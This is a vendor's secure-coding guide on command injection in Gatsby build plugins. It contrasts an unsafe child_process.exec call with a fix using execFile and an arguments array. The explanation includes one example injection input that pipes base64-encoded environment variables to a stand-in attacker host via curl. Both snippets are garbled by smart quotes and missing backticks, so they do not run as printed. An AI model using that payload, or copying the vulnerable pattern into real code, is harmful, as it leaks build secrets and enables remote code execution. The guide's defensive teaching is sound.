GuardAPI Logo
GuardAPI

Fix Command Injection in Gatsby

Gatsby build pipelines are high-value targets. Command injection typically manifests in 'gatsby-node.js' or custom plugins when developers use 'child_process.exec' to interface with system binaries (like git, sharp, or custom scripts) using unsanitized inputs from a CMS, environment variables, or the filesystem. If an attacker can inject shell metacharacters into these inputs, they gain Remote Code Execution (RCE) on your CI/CD runner or build agent.

The Vulnerable Pattern

const { exec } = require('child_process');

// Vulnerable: Inputs from gatsby-config options are concatenated directly into a shell command exports.onPostBuild = ({ reporter }, pluginOptions) => { const { branchName } = pluginOptions; exec(git log ${branchName} --oneline -n 5, (error, stdout) => { if (error) reporter.panic(‘Failed to fetch logs’, error); console.log(stdout); }); };

The Secure Implementation

The vulnerability exists because 'child_process.exec' spawns a system shell (/bin/sh or cmd.exe) to parse the command string. An attacker providing an input like 'master; curl http://attacker.com/$(env | base64)' would trigger command execution. The fix utilizes 'execFile' (or 'spawn'), which executes the binary directly. By passing arguments in a discrete array and ensuring 'shell: false', the operating system treats the malicious input as a literal string argument for the 'git' binary rather than a new command to be executed by the shell.

const { execFile } = require('child_process');

// Secure: Use execFile with an arguments array and disable shell execution exports.onPostBuild = ({ reporter }, pluginOptions) => { const { branchName } = pluginOptions;

// Arguments are passed as an array, preventing shell metacharacter interpretation execFile(‘git’, [‘log’, branchName, ‘—oneline’, ‘-n’, ‘5’], { shell: false }, (error, stdout) => { if (error) reporter.panic(‘Failed to fetch logs’, error); console.log(stdout); }); };

System Alert • ID: 7836
Target: Gatsby API
Potential Vulnerability

Your Gatsby API might be exposed to Command Injection

74% of Gatsby apps fail this check. Hackers use automated scanners to find this specific flaw. Check your codebase before they do.

RUN FREE SECURITY DIAGNOSTIC
GuardLabs Engine: ONLINE

Free Tier • No Credit Card • Instant Report

Verified by Ghost Labs Security Team

This content is continuously validated by our automated security engine and reviewed by our research team. Ghost Labs analyzes over 500+ vulnerability patterns across 40+ frameworks to provide up-to-date remediation strategies.